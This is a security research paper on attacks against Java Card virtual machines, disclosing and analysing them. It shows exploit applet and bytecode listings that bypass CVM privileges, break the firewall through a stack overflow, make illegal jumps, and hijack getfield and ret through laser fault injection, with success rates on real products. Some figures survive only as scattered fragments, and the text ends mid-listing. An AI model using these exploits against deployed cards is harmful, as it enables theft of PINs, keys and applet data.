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Résumé. The security of Java Card products is mainly based on the
Byte Code Verifier (BCV) which is a mandatory step before loading any
applet on an embedded Java Card Virtual Machine (JCVM). The BCV
is therefore in charge of detecting some malicious code, preventing from
software attacks. However the BCV is not sufficient against software
attacks based on flaws in the JCVM implementation itself and against
combined attacks. This paper presents software attacks with verified
applets exploiting flaws in JCVM implementations and new techniques
for combined attacks.

1 Introduction

Java Card [13] is a subset of the Java Standard technology adapted
to be embedded on constrained devices such as smart cards. The Java
Card technology is designed to securely store secret data and process
transactions in hostile environments. These devices are everywhere in our
lives (banking cards, (U)SIM cards, etc.). Today, many Java Card products
support post-issuance applet loading. Thus strong security mechanisms
are deployed in order to protect assets stored into the product.

1.1 Security model on Java Card products

CLASS files are produced by the output of the Java standard compiler.
In order to be adapted to limited devices, CLASS files are converted into
CAP files (Converted APplet). This file format, specified in [13], is a more
condensed representation than the CLASS file format, reducing memory
usage on devices. The Java Card Virtual Machine (JCVM), embedded in
these devices, interprets the CAP files to execute applets.

As a subset of the Java language, Java Card inherits of its security
rules. These rules are checked by the Byte Code Verifier (BCV). It ensures
that the checked applet file format respects the specification (structural
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verification), that all code contained in the methods is well formed and
it verifies that all operations are type safe. The BCV performs only a
static analysis. It is a mandatory step before loading an applet on secure
products. The BCV is an essential security component in the Java Card
sandbox model : any bug created by an ill-formed applet could induce a
security flaw on the final product. However, the byte code verification is a
costly algorithm in terms of time consumption and memory usage. Thus,
constrained devices such as smart cards, cannot embed a full BCV. This
is why the BCV is an off-card component.

The Java Card firewall is in charge of controlling memory accesses.
The separation between the different applets is ensured by the firewall.
Security contexts are uniquely assigned to each package. If two applets
are instances of classes defined in the same package, they share the same
context. Each object is assigned to a unique owner context which is the
context of the applet creating this object. The firewall prevent accesses
from one to another context. A super user context, called the JCRE
context, also exists. It owns all the rights (reading, writing and method
execution) on all the Java Card objects. Thus an object can only be
accessed by their owner or by the JCRE context. However, a specific
mechanism is defined by Java Card allowing data sharing between applets
using Shareable interface objects.

The Java Card specification does not describe how the card content
management should be handled. In order to counteract this, the Global-
Platform Card Specification [8] provides a secure and interoperable applet
management environment. Today, products involve cross-industry players
where some entities may require privileges to manage their applets (load,
install, delete, personalize, etc.). GlobalPlatform defines security policies,
secure messaging protocols and integrity/confidentiality mechanisms to
protect the card content management.

When all these security features are correctly deployed on the field, only
applets which pass the BCV can be loaded on final products, protecting
them against software attacks based on ill-formed applets.

1.2 State of the art on software attacks
Despite all the security features enforced by the Java Card environment,
several software attack paths [3,5–7,9,11,12,15] have been found exploitable
by the Java Card security community. However, most of these attacks are
based on ill-formed applets.

Some software attacks are however exploited using well-formed applets.
Two kinds of attack can be found. The first one exploits weaknesses of the
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targeted JCVM implementation. For example, the transaction mechanism
has been found vulnerable on several JCVM implementations leading to
some type confusion attacks as explained in [12].

The second kind of attacks is based on flaws in the BCV implemen-
tation. This last case is the most powerful attack because once found, a
BCV flaw can theoretically be exploited on every JCVM implementations,
assuming that the JCVM will not perform supplementary checks on the
CAP file. At the opposite when a weakness is found in a particular JCVM
implementation it is unlikely (but still possible) that other implementa-
tions will share this same weakness. In [6, 11] several flaws in the BCV
have been demonstrated.

1.3 State of the art on combined attacks

In this paper, combined attacks can be defined as fault injection on legal
applets (i.e. which pass the BCV) in order to perform a software attack.
A malicious code is hidden in the applet code and the fault injection
mutates the code in a favourable way leading to execute the software
attack. Fault injections are induced by a laser beam targeted on the chip
while its running. The execution can be faulted but laser disturbances are
more or less random. Some amount of effort is therefore required in order
to succeed a combined attack.

In [2], authors described a combined attack based on the use of a
laser beam which disturbs the correct execution of the checkcast byte-
code, allowing an attacker to perform type confusions with a legal applet.
In [1], they focused the attack on the manipulated data from the operand
stack allowing an attacker to disturb boolean values and to perform type
confusions. In [10], type confusion is also obtained, exploiting the memory
management of the product. The goto_w bytecode is disturbed in [4]
allowing the attacker to perform illegal jumps.

1.4 Our contribution

Our contribution intends to address the two fields of attack listed in the
previous section by presenting new software attacks based on well-formed
applets (Section 2) and new principles of combined attacks (Section 3). The
software attacks are based on flaws in some specific JCVM implementations.
The presented combined attacks are designed to be optimal in term of
success rate with a minimal effort. As all the introduced applets are not
detected by the BCV, these attacks can be considered as realistic on the
field.
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2 Software attacks based on verified applets

The attacks described in this section are software attacks that have been
performed on different JCVM implementations studied by SERMA during
its security evaluation works. The applets used to perform each of these
attacks are fully legal (e.g. they successfully pass the BCV). However
the BCV is not faulty here : the malicious applets cannot be detected
because only flaws in the JCVM implementation are exploited to perform
these attacks. Therefore the described vulnerabilities are specific to one
or maybe few implementations. The Oracle’s BCV was used to check the
applets.

2.1 Managing the CVM without having the CVM privileges

Brief reminder about the CVM The GlobalPlatform Card Specifi-
cation [8] introduces the CVM Application that provides a Cardholder
Verification Method. In other words, the CVM is a global Personal Identi-
fication Number (PIN) shared with all other applets. Although the CVM
verification services may be accessed by any applet, only privileged applets
are allowed to manage the CVM. Management services are updating the
PIN value, block/unblock the CVM and change the try limit. Applica-
tions authorized to perform management operations must have the CVM
Management privilege.

Attacking the CVM The CVM interface is described by the Global-
Platform Card Specification [8]. The CVM is a PIN object, therefore one
way to implement it may be :

1 public class CVMImplementation extends OwnerPIN implements CVM {
2 ...
3 public boolean update(byte [] buffer , short offset , byte length , byte format) {
4 if (! hasCVMManagementPrivilege ())
5 return false;
6 ...
7 // Calling update method of OwnerPIN
8 update(buffer , offset , length);
9 return true;

10 }
11 ...
12 }

Listing 1. CVMImplementation.java

By doing this, the developer takes advantage of the already existing class
OwnerPIN. Checks on the CVM Management privilege are performed
while entering into any management method. This implementation is quite
secure and should prevent any software attack.
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However an explicit cast from CVM to OwnerPIN is possible and
gives the access to the methods like update() or reset() that requires
special applet privileges (CVM Management privilege) when using CVM
object but no special privileges when used “as” OwnerPIN. Therefore,
an unprivileged applet can obtain a reference to a CVM, cast it to the
OwnerPIN and modify its reference value or try counter. Here is a simple
code demonstrating such behaviour :

1 byte length = (byte)apdu. setIncomingAndReceive ();
2 CVM pin = GPSystem.getCVM (( byte)0x11);
3
4 switch(clains) {
5 case CLAINS_SET: {// PIN is set using the CVM object
6 boolean result = pin.update(buffer , ISO7816.OFFSET_CDATA , length ,CVM.FORMAT_BCD);
7 if (result)
8 return;
9 else

10 ISOException.throwIt(ISO7816. SW_CONDITIONS_NOT_SATISFIED );
11 }
12 case CLAINS_SET_OWNERPIN : {// PIN is set using the OwnerPIN object
13 OwnerPIN opin = (OwnerPIN)pin;
14 opin.update(buffer , ISO7816.OFFSET_CDATA , length);
15 return;
16 }
17 case CLAINS_CHECK: {// Verification is performed with CVM object
18 short result = pin.verify(buffer , ISO7816.OFFSET_CDATA , length , CVM.FORMAT_BCD);
19 if (result == CVM.CVM_SUCCESS)
20 return;
21 byte ptc = pin. getTriesRemaining ();
22 ISOException.throwIt (( short)(0 x63c0 + ptc));
23 }
24 }

Listing 2. ExploitCVM.java

An unprivileged applet is rejected when trying to set the PIN value
using the update() method of the CVM interface. But we have seen some
implementations where no exception is thrown when using the update()
method of the OwnerPIN class. The PIN value is correctly updated which
could be verified by a call to the verify() method, validating the attack.

This attack should not work The CVM Management privilege is the-
refore completely by-passable in a software manner, using a legal applet.
However such attack should be detected at runtime and a Security Excep-
tion should be thrown when the explicit cast from CVM to OwnerPIN
is performed and when the update() method of the OwnerPIN class is
called.

To be accessed from any applet, the CVM instance must be a Shareable
object. The Java Card specification [13] defines specific rules for the
firewall checks. When accessing a Shareable object with the checkcast or
the instanceof bytecode the following rules must be applied :
– If the object is owned by an applet in the currently active context,

access is allowed.
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– Otherwise, if the object’s class implements a Shareable interface, and
if the object is being cast into (checkcast) or is being verified as being
an instance of (instanceof ) an interface that extends the Shareable
interface, access is allowed.

– Otherwise, if the Java Card RE is the currently active context, access
is allowed.

– Otherwise, access is denied.

In the case described in listing 2, the currently active context corres-
ponds to the applet used to perform the exploit. It is therefore different
from the CVM instance context. The first rule is not fulfilled, the second
one must be executed. The CVM instance is a Shareable Object but
the OwnerPIN class is not a Shareable Interface : the second rule is not
applicable. The currently active context is not the JCRE context. Thus
the access should be denied by the firewall.

On the faulty implementations, the explicit cast is not rejected by the
firewall. This vulnerability is exploited here on the CVM object, but other
attack paths could probably be found using this vulnerability.

Conclusion The use of the OwnerPIN class is a good programming
practice. However a wrong implementation of the firewall allows an explicit
cast from a Shareable Object to a class which is not a Shareable Interface.
Such vulnerability allows an attacker to perform cast operations on the
Shareable objects, leading to give access to forbidden methods. In our
case, the attacker can perform management actions on the CVM object
without having the mandatory rights as requested in the GlobalPlatform
specification.

2.2 Breaking the Firewall through a Stack Overflow

Performing a Stack Overflow with a legal applet JCVM are em-
bedded into limited hardware. Among limitations, the available RAM
is small and is split in order to be used by the low level OS, the JCRE
and the applets. Thus, the operand stack and local variables area size
reserved to Java Card applets is limited. This area may be not enough
large to process a significant sequence of method calls. When this occurs,
the JCVM must check the bounds of this area and an exception should
be thrown if a method call requires more memory than available.

Here is a simple example to illustrate this mechanism :

1 public class StackExample extends Applet {
2 public void process(APDU apdu) {
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3 method1 ();
4 }
5 public static void method1 () {
6 short local0 = (short) 0;
7 short local1 = (short) 0;
8 method2 ();
9 }

10 public static void method2 () {
11 short localA = (short) 0;
12 short localB = (short) 0;
13 ...
14 }
15 }

Listing 3. StackExample.java

this
apdu
XXXX

Locals

Stack

this
apdu
local0
local1
XXXX

Locals

Stack
Not

enough
space

Invoke method1() Invoke method2()

Fig. 1. Detected overflow on operand stack

Figure 1 illustrates the execution of code shown in listing 3. When
method1() calls method2(), the JCVM calculates the memory size needed
by this new method by adding the number of argument (in our case, 0),
the number of local variables (2) and the maximum stack size (1). In our
case, the addition result is 3 and only 2 slots are available (the stack of
method1() is considered as available as it is unused when method2() is
called). The remaining available memory for local variables and operand
stack is smaller than needed. A RuntimeException should therefore be
thrown to prevent an overflow on this memory area.

However some implementations have been found vulnerable. Thus an
attacker can perform an overflow on the memory area reserved for the
local variables and the operand stack. This overflow is often limited, on the
currently studied cases, only a 2 bytes overflow can be performed. However,
the following section will describe an exploit based on this limited overflow.
It should be noted that the applet used to perform this overflow is fully
legal.
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Breaking the Firewall We have seen that, on some JCVM implemen-
tations, a legal applet can perform a small overflow on the memory area
dedicated to handle the operand stack. We now present how such vulnera-
bility could be exploited to break the firewall on this implementation.

First of all a short recall about frames. Java Card Virtual Machine
frames contain a set of local variables, an operand stack and all needed
data to reconstruct the previous frame. When a method is invoked a new
frame is built an pushed, and when it ends, the frame is popped and the
previous one is reconstructed from data contained in the current frame.
This data will be now called frame header.

The entire frame data is usually stored into the same memory area.
However, in some implementations, the local variables and the operand
stack are separated from the headers. Two stacks are handled in this
memory area. Considering the code described in listing 3, figure 2 illustrates
this double stack.

this
apdu
XXXX

Available
memory

Locals

Stack

this
apdu
local0
local1
XXXX

Available
memory

Locals

Stack

JPC
JContext
Stack Local

Header of
method1()

this
apdu
local0
local1
localA
localB

Locals

Stack

JPC
JContext
Stack Local

JPC
JContext
Stack Local

Header of
method1()

Header of
method2()

Invoke method1() Invoke method2()

Fig. 2. Frames management

As described in figure 2, the local variables and the operand stack
are allocated from the bottom of the memory area and the headers are
inserted from the top. The process() has no header because it is the first
method, therefore there is no frame to reconstruct when exiting process().
The header of method1() contains needed data to restore the frame of
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process(). In JCVM implementations, a frame header usually contains the
following elements :
– the Java Program Counter (JPC) indicating where continuing the

execution in the previous method when the current one is exiting,
– the security context (JContext) to restore when returning to the

previous method,
– the number of local variables of the previous method,
– the number of elements present on the operand stack of the previous

method when the current method was invoked.
Figure 2 shows the consequences of a stack overflow. A part of the last

frame header can be modified by pushing values onto the stack, leading
to corrupt the frames management. Here is the code that will be used to
break the firewall. Note that this code is fully legal and no modification is
performed on the compilation output :

1 public class BreakingTheFirewall extends Applet {
2 public void process(APDU apdu) {
3 ... // Some initialisation
4 short param1 = Util.getShort(buffer , ISO7816.OFFSET_CDATA);
5 short param2 = Util.getShort(buffer , (short) (ISO7816.OFFSET_CDATA + 2));
6 Object obj = changeContextAndForgeRef (param1 , param2);
7 ... // Perform operations on obj with the new security context
8 }
9 public static Object changeContextAndForgeRef (short context , short value) {

10 short obj;
11 short padding1 , padding2 , padding3;
12 short context2 = context;
13 Object obj2 = null;
14 short value2 = value;
15
16 corruptHeader (( short) 3);// Corrupt
17
18 // Type confusion
19 value = obj;// Actually , it performs : obj2 = value2
20
21 // Change context of process
22 value2 = context;// Actually , it performs : JContext = context2
23
24 corruptHeader (( short) 9);// Restore
25
26 return obj2;// Pop the current frame
27 }
28 public static void corruptHeader(short nbLocals) {
29 nbLocals = nbLocals;// Dummy operation to push the value of nbLocals onto the stack
30 }
31 }

Listing 4. BreakingTheFirewall.java

1 bspush 3; // Argument of corruptHeader
2 invokestatic 2; // Call corruptHeader
3 sload_2; // Push obj onto the stack
4 sstore_1; // Store into value
5 sload_0; // Push context onto the stack
6 sstore 8; // Store into value2
7 bspush 9; // Argument of corruptHeader
8 invokestatic 2; // Call corruptHeader
9 aload 7; // Push obj2 onto the stack

10 areturn; // Pop the current frame

Listing 5. Compilation output of changeContextAndForgeRef()
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Fig. 3. Frames management

Figure 3 illustrates lines 16 to 22 and line 29 in listing 4. When the
value 3 is pushed onto the stack, the frame header of corruptHeader()
is modified. Then, at the end of corruptHeader(), the frame is popped
and the frame of changeContextAndForgeRef() is reconstructed based on
data contained in the frame header of corruptHeader(). The number of
local variables has been corrupted from 9 to 3, thus the first local variable
is now context2 instead of context, and any access to the ninth one is
actually an access to the JContext of the changeContextAndForgeRef()
frame header.

A type confusion is then performed in order to forge a reference
from a short value. As the frame is corrupted, the value of value2 is
stored into obj2. The JContext is also modified using the same principle.
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A second call to corruptHeader() method is performed to restore the
changeContextAndForgeRef() frame.

Finally, the current frame is popped and the frame of process is
reconstructed. At line 7 in listing 4, the security context has been updated
and the local variable obj contains the forged reference.

With the type confusion an attacker can forge any reference from a
short value given in the APDU buffer as shown in listing 4. Therefore an
exhaustive search is performed to find all the existing Java Card objects.
Once found these objects are read using respectively the <t>aload and
getfield_<t> bytecodes depending on if the forged object is an array or a
class instance. Write operation can also be performed.

However the firewall should prevent any access to objects belonging
to other applets than the currently selected one. As the security context
can also be corrupted, the firewall would authorize such accesses. For
one specific object only two values of the security context shall authorise
access to this object :

– the value of the security context of the accessed object,
– the value of the JCRE security context. (This context shall be autho-

rised to access to all the Java Card objects).

The value of the JCRE security context can be found through an exhaustive
search. Once found, it can be used to access to all the Java Card objects
without being rejected by the firewall checks.

Conclusion A wrong management of the stack pointer leads to a small
overflow on the memory area dedicated to the operand stack. This vulnera-
bility is exploited to perform a larger overflow which allows to update the
Java Card security context. Hence, all the Java Card objects are dumped.
The applet used to perform this exploit is a legal one (not detected by
the BCV).

2.3 Illegal jumps using itableswitch/ilookupswitch bytecodes

The theoretical vulnerability The description of the itableswitch by-
tecode found in the Java Card specification [13] states that jump offsets
are signed 16-bit values. Therefore this bytecode could perform negative
jumps as well as positive jumps.

Some JCVM implementations has been found wrongly implemented
on the management of the jump offsets. These offsets are interpreted as
unsigned values although the specification says that these offsets are signed
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16-bit offsets. This vulnerability could also be found on the ilookupswitch
bytecode.

If these JCVM execute an itableswitch bytecode that contains a ne-
gative jump offset, a long positive jump will be performed instead of a
negative jump. However, the BCV has checked only one jump target, the
one obtained with the negative offset. Thus the JCVM will execute a piece
of code not verified by the BCV or at least not verified in the same context.
Therefore this vulnerability allows to perform illegal jumps through the
Java Card loaded code.

1 ...
2 ... // Target of the negative jump : the BCV checks here
3 [...]
4 74 // itableswitch bytecode
5 0021 // Default jump offset
6 01000000 // Low byte
7 01000002 // High byte
8 C000 // Negative jump offset for the first case
9 ... // Other offsets for the other cases

10 [...]
11 [...] // Many , many code
12 [...]
13 ... // Target of the jump if interpreted as unsigned offset : JCVM jumps here
14 ...

Listing 6. Bytecode containing an itableswitch with a negative offset

The vulnerability in practice with its limitations This attack path
is quite simple and once the attacker can perform illegal jumps, all kind
of software attacks can be hidden from the BCV. In this case, the BCV is
no longer relevant as the attacker can hide everything he wants. However
this attack path has three known limitations in practice.

The first one is that the Java Card standard compiler will never
generate an itableswitch/ilookupswitch bytecode with a negative jump offset
as arguments. Although this is authorized in the Java Card specification,
no known method leads to generate such output from the Java Card
standard compiler. Therefore, the attacker needs to forge a correct CAP
file with a negative jump offset in an itableswitch/ilookupswitch bytecode.
However, the forged applet will still pass the BCV.

The two other limitations are similar. Indeed, the amount of code to
perform the attack is huge as a large jump will be performed. The jump
offset is stored on two bytes. Thus the delta position between the legal
target and the illegal one is exactly 65535 bytes length. Therefore the
attack needs more than 65536 bytes of Java Card code in order to work.

The second limitation comes with the maximum size of a method
which is 32767. Thus, the jump will be performed across several methods.
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The last and the most restrictive limitation is that the maximum
size of the method component of a CAP file is 65535. Thus the attack
cannot be contained in one CAP file. Two CAP files must be loaded onto
the product and from the first one, the large positive jump will target
a bytecode contained into the second CAP file. In memory, between the
two CAP files, some data about the packages is probably stored, and this
must be taken in account when preparing the two CAP files. Listing 7
illustrates the resolution of these two constraints.

1 // Package A
2 .method public void process(Ljavacard/framework/APDU ;) {
3 // Max stack : 1 Max locals ( with args ): 2
4 aload_0;
5 invokevirtual 1;// executeJump
6 [...]
7 }
8 .method public void executeJump () {
9 // Max stack : 1 Max locals ( with args ): 3

10 goto_w L1;
11 L0: return;// BCV checks here
12 nop ;[...] nop;// ~0 x4000 nops
13 L1: iipush 0;
14 itableswitch L0 0 1 L0 L0;// jump offsets are 0 xC000
15 }
16
17 // Package B
18 .method public void static dummy () {
19 // Max stack : 0 Max locals ( with args ): 0
20 nop ;[...] nop;// 0 x6000 nops
21 }
22 .method public attack ()V {
23 // Max stack : 1 Max locals ( with args ): 20
24 nop ;[...] nop;// 0 x6000 nops : JCVM executes somewhere here
25 sspush 1234;
26 sstore 10;// Allowed as Max Stack = 20
27 return;
28 }

Listing 7. Code example to solve size constraints

The BCV checks at L0 target and the two packages are considered as
legal. The JCVM performs a positive jump and the code contained into the
attack() method is executed. The dummy() method is used because of the
maximum size of a method limitation. An example of exploitation is also
given. When jumping into the attack() method, an overflow on the local
variables is performed as the executeJump() method has declared only 3
local variables and the attack() method has declared 20 local variables. The
JCVM perform a jump and the code contained in the attack() method is
executed with the context of the executeJump() method. This principle has
been used to performed a privileges elevation as described in section 2.2.
This is just an example, any malicious code can be hidden and executed
using this attack principle.

Conclusion This third and last software attack is based on a wrong
interpretation of the Java Card specification [13]. Despite its limitations,
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the attack principle is quite simple and its exploitation is powerful, allowing
an attacker to hide any malicious Java Card code from the BCV.

2.4 Conclusion on software attacks

These three software attacks show that the correctness implementation
of the JCVM embedded on sensitive products must be carefully checked.
Today, a huge part of the security of the products relies on the robustness
of the BCV but these attacks demonstrate that the BCV is not always
sufficient enough to protect the JCVM against this type of software attacks.

3 Combined attacks

In this section, two combined attacks will be introduced. The goal is to
propose new principles of combined attacks that optimise the success rate
of the fault injection.

The presented attacks have been attempted on several products from
different manufacturers. These are state of the art products in term of
countermeasures. Therefore the results presented in the following sections
show the robustness of the nowadays JCVM against these types of combi-
ned attack. Six products have been evaluated from four different software
manufacturers. The list of the products is shown in table 1.

Reference Software manufacturer Integrated Circuit Java Card GlobalPlatform
A1 A 1 3.x.x 2.x.x
A2 A 2 3.x.x 2.x.x
A3 A 3 3.x.x 2.x.x
B3 B 3 2.x.x 2.x.x
C2 C 2 3.x.x 2.x.x
D2 D 2 3.x.x 2.x.x

Tableau 1. Product list

3.1 Optimised type confusion with the getfield bytecode

Overview The getfield_<t> is a family of bytecodes used to access to
the fields of an instance. This family declines different bytecodes to read
all types of fields (boolean, byte, short int, reference). Moreover, for each
kind of field, two bytecodes exists. For instance, to read a short value, the
getfield_s and getfield_s_w bytecodes can be used. The first one takes
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a one byte operand and the second one takes a two bytes operand. In
any cases, the operand is an index in the constant pool component that
identifies an item of type CONSTANT_InstanceFieldref. If the constant
pool is large, this index must be greater than 255, thus the getfield_<t>_w
bytecode is used. When the CAP file is loaded onto a product, the operand
is resolved and the index is transformed into a value that is implementation
dependent.

The maximum number of members in a Java Card class is 255. Thus
whatever the internal object representation implemented into the JCVM,
a getfield_<t> bytecode must be able to access to 255 fields. As the
operand of the getfield_<t> bytecode is coded on only one byte, every
values except one of this operand target a valid field if the accessed object
has 255 fields.

Hijacking the getfield bytecode This characteristic of the get-
field_<t> bytecode could be used to abuse of this bytecode. The principle
is described in listing 8.

1 public class GetFieldAttack extends Applet {
2 short field0 = (short) 0xCAFE;
3 short field1 = field0;
4 short field2 = field0;
5 ...
6 short field253 = field0;
7 byte [] forgedArray = null;
8
9 public void process(APDU apdu) {

10 ...
11 forgedArray = forgeArray ();
12 ...
13 }
14 public byte [] forgeArray () {
15 return this.forgedArray;// Fault injected here
16 }
17 }

Listing 8. Attacking the getfield bytecode

1 .method public forgeArray ()[B {
2 aload_0; // Push this on the stack
3 getfield_a 254; // Reading field at index 254 the fault must corrupt this index
4 areturn; // Returning the read value
5 }

Listing 9. Bytecode corresponding to the forgeArray() method

The forgeArray() method returns the content of the forgedArray field.
This field is a byte array field, initialised with the null value. All the
other fields are short fields initialized with the same value. This code is
completely legal. The forgeArray() method execution can be split into two
phases (see listing 9). The first one is the push operation of the content of
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the field and the second one is the return. The push operation is performed
with a getfield_a bytecode. For the 256 possible values of the operand, one
is invalid (255), one returns the right result (254), and all the other ones
correspond to the other short values. Thus if the operand fetch is disturbed
by a fault injection, it is highly probable to read a short field instead
of reading the only byte array field. If such a disturbance is successfully
obtained, the forgedArray field will be updated in the process() method
and the forgedArray field will contain the reference 0xCAFE instead of
containing the null reference. A type confusion is performed and the effect
is permanent as it is stored in an instance field. The forgedArray field can
be accessed indefinitely once one fault injection has produced one right
disturbance.

This attack methodology can be improved as presented in listing 10.
The type confusion is performed between two objects. Once the attacker
has obtained one successful type confusion between the classes Container
and FakeContainer, a permanent state is reached in which the attacker
can forge any reference from a short value without further faults injection.
Moreover, using the matching fields as shown in listing 10, the reference
forging can be directly performed on fields with specific type if the attacker
does not want to be rejected by a checkcast operation.

1 public class Container {
2 public short object = (short) 0;
3 public short byteArray = (short) 0;
4 public short shortArray = (short) 0;
5 public short pin = (short) 0;
6 public short key = (short) 0;
7 }
8 public class FakeContainer {
9 public Object object = null;

10 public byte [] byteArray = null;
11 public short [] shortArray = null;
12 public PIN pin = null;
13 public Key key = null;
14 }
15 public class GetFieldAttack extends Applet {
16 Container field0 = new Container ();
17 Container field1 = field0;
18 Container field2 = field0;
19 ...
20 Container field253 = field0;
21 FakeContainer forgedFakeContainer = null;
22
23 public void process(APDU apdu) {
24 ...
25 switch(ins) {
26 case FAULT_ATTACK:
27 buffer [0] = 0x55;
28 forgedFakeContainer = forgeFakeContainer ();
29 if ( forgedFakeContainer != null)
30 buffer [0] = 0xAA;// success marker
31 apdu. setOutgoingAndSend (( short)0, (short) 1);
32 return;
33 case SET_OBJECT:
34 ...
35 case SET_BYTE_ARRAY:
36 field0.byteArray = p1p2;// The short value can be legally updated ...
37 return;
38 ...



J. Dubreuil 337

39 case DUMP_BYTE_ARRAY:
40 byte [] data = forgedFakeContainer .byteArray;// ... it is now a reference
41 Util.arrayCopy(data , (short)0, buffer , (short)0, (short)data.length);
42 apdu. setOutgoingAndSend (( short)0, (short)data.length);
43 return;
44 ...
45 }
46 ...
47 }
48 public FakeContainer forgeFakeContainer () {
49 return this. forgedFakeContainer ;// Fault injected here
50 }
51 }

Listing 10. Improvement of the attack principle

If the attacker can disturb the operand fetch of the getfield_<t>
bytecode, this attack principle has the advantage of having a very high
theoretical success rate whatever the obtained disturbance. Moreover the
memory does not have to be filled in order to optimise the attack. This
principle, based on the attack described in [10], offers a new alternative to
perform type confusion with a lower footprint in term of memory usage.

Experimental results During characterization phase, code described
in listing 11 is used to characterize effects obtained when the operand
is disturbed. Fields from index 0 to 253 reference different Container
instances. Each Container instance has a unique id. When a successful
disturbance is obtained, the id field is read and based on the value returned,
the attacker knows the obtained disturbed operand.

1 public class Container {
2 public short id;
3 public Container(short id) {
4 this.id = id;
5 }
6 }
7 public class FakeContainer {
8 public short id = 0;
9 }

10 public class GetFieldAttack extends Applet {
11 Container field0 = new Container (( short) 0xFF00);
12 Container field1 = new Container (( short) 0xFE01);
13 Container field2 = new Container (( short) 0xFD02);
14 ...
15 Container field253 = new Container (( short) 0x02FD);
16 FakeContainer forgedFakeContainer = null;
17
18 ...
19 }

Listing 11. Code for characterize obtained faults

This attack principle has been tested on two JCVM implementations
that are state of the art products in term of countermeasures. Future work
would be to test this attack principle on other JCVM implementations.

No specific effort was performed to increase the reproducibility of the
attacks. On all the tested products, more than 10 type confusion has been
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performed in less than 40 000 attempted fault injections. As shown in
2, the initial operand value of the targeted getfield_<t> bytecode was
different on the two tested products. Exploitable results were obtained in
the two cases but no conclusion about the impact of this difference can be
stated with no more results. Nevertheless these two test campaigns have
demonstrated that this kind of attack can be successfully attempted on
nowadays JCVM.

Reference Reproducibility Initial operand value Obtained faulty operands
A1 < 1% 0x7F 0x7E, 0xEF
A2 < 1% 0x5A 0x35, 0x6D

Tableau 2. Experimental results

Conclusion The getfield_<t> bytecode can be hijacked by an attacker
allowing him to perform type confusions. Once an exploitable disturbance
has been obtained, a permanent state is reached and an infinite number
of type confusion can be performed by the attacker.

3.2 Precise illegal jumps using the ret bytecode

Overview The ret bytecode may be generated by the compilation of a
finally statement. In a try-catch-finally construction, the finally must be
executed whatever happening in the try and/or catch block. The compiler
has two choices, either the finally block is duplicated and right placed in
order to ensure its execution, either a subroutine containing the finally
block is created and the jsr/ret bytecodes are used to jump to and return
from this subroutine. This is illustrated by listings 12, 13, 14. The compiler
will choose one of these two options depending on the size of the finally
statement.

1 public static void tryFinally () {
2 try {
3 tryIt ();
4 }
5 finally {
6 done ();
7 }
8 }

Listing 12. try-finally construction
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1 .method public static void tryFinally () {
2 L0: invokestatic 1; // Method tryIt ()
3 L1: invokestatic 2; // Method done () -> this is the finally block
4 return;
5 L2: astore_0; // Handler for any throw
6 invokestatic 2; // Method done () -> this is the finally block
7 aload_0;
8 athrow;
9

10 Exception Table:
11 From To Target Type
12 L0 L1 L2 any
13 }

Listing 13. try-finally compilation (code duplication)

1 .method public static void tryFinally () {
2 L0: invokestatic 1; // Method tryIt ()
3 L1: jsr L3; // Call finally block
4 return;
5 L2: astore_0; // Handler for any throw
6 jsr L3; // Call finally block
7 aload_0;
8 athrow;
9 L3: astore_1; // Beginning of the finally block

10 invokestatic 2; // Method done ()
11 ret 1; // Returning from the finally block
12
13 Exception Table:
14 From To Target Type
15 L0 L1 L2 any
16 }

Listing 14. try-finally compilation (subroutine creation)

The jsr bytecode calls a subroutine. Actually, a jump is performed and
a return address is pushed onto the operand stack. The value of this return
address is implementation dependant. When entering in the subroutine (at
label L3 in listing 14), this value must be stored in order to be used when
returning from the subroutine. This value is stored in a local variable. The
argument of the ret bytecode specifies which local variable to use in order
to retrieve the saved return address.

Hijacking the ret bytecode The ret bytecode performs a jump based
on data contained into a local variable. With an illegal applet, this local
variable can be altered in order to jump elsewhere. Although such ma-
nipulation is detected by the BCV, a software attack can be performed
in order to understand the internal representation of a return address
value in the attacked JCVM. Once the representation is understood, the
attacker can corrupt the value of the targeted local variable in order to
jump to a precise destination. All these software steps are necessary to
prepare the combined attack.

The principle of the combined attack is quite simple. The Java Card
specification says that a method can have at most 255 local variables. This
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is why the operand of the ret bytecode is coded on one byte. Listing 15
shows a method with 255 local variables. From index 0 to 253, they are
all of type short. The last one is a return address, and it contains a legal
value. All the short local variables contain a specific value targeting an
illegal destination as explained in the previous paragraph. A ret bytecode
is executed and its argument is the only legal return address. The goal is
to disturb the fetch of the ret operand by a fault injection.

1 .method public static hijackingRet(short address) {
2 L0: sload_0; // The address given in parameter
3 sstore_1; // is used to initialise local variables from index 1 to 253
4 ...
5 sload_0;
6 sstore 253;
7 L1: jsr L2;
8 return;
9 L2: astore 254; // The only legal return address

10 ret 254; // Try to disturb the operand fetch
11 }

Listing 15. Hijacking the ret bytecode

If the operand fetch is disturbed, any value except 254 may be obtained.
Any disturbance will lead to a successful attack. Indeed from 0 to 253,
the local variables are initialised with a specific value targeting an illegal
destination. Moreover the index 255 is not a local variable but it is very
likely that this index corresponds to the first slot of the operand stack.
This slot has been filled with the illegal value when the local variables
have been initialised. Thus even value 255 may lead to a successful attack.
However, some JCVM implementations prevents overflow on local variable
index and if the value 255 is obtained, this leads to an exception. In any
cases, if the operand fetch can be disturbed, the combined attack has a
very high rate of success. An attacker can therefore perform precise jump
through its code with a high success rate.

Table 3 compares different code jump techniques used to perform
combined attacks. In [4], the goto_w bytecode is disturbed to jump in a
malicious code. Assuming that the attacker wants to jump to a precise
location in its code, the theoretical minimal success rate is given according
to the different principles. It is assumed that the attacker can disturb the
operand fetch of the targeted bytecode but no fault model is given on the
obtained disturbance. Thus the 256 values of one byte can be obtained
with the same probability. Obviously, in real life more than one precise
location could work but using the ret bytecode, targeting a precise location
or one another needs the same effort and will not degrade the theoretical
success rate. If more than one location is targeted, the theoretical success
rate of the goto bytecodes will grow up but the ret bytecode will always
be more efficient.
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Attacked bytecode Precise code jump Theoretical minimal success rate
goto - 1/256 ≈ 0.39%

goto_w – 1/65536 < 0.01%
ret ++ 255/256 ≈ 99.61%

Tableau 3. Comparative between different code jump principles

Experimental results This attack principle has been tested on several
JCVM implementations. Due to implementation limitations, some JCVM
have a very limited amount of memory reserved to the local frames. Thus
having a method with 255 local variables is not always possible, reducing
the success rate. Moreover disturbing one ret bytecode is often difficult,
thus in most of the cases, five ret bytecodes are chained in order to reduce
the time precision constraint. This chaining, shown in listing 16, has one
drawback : it reduces the success rate by taking four supplementary local
variables from the 254 short values. However, the loss of four local variables
is not significant and this does not compromise the success of the attack.

1 .method public static short hijackingRet(short address) {
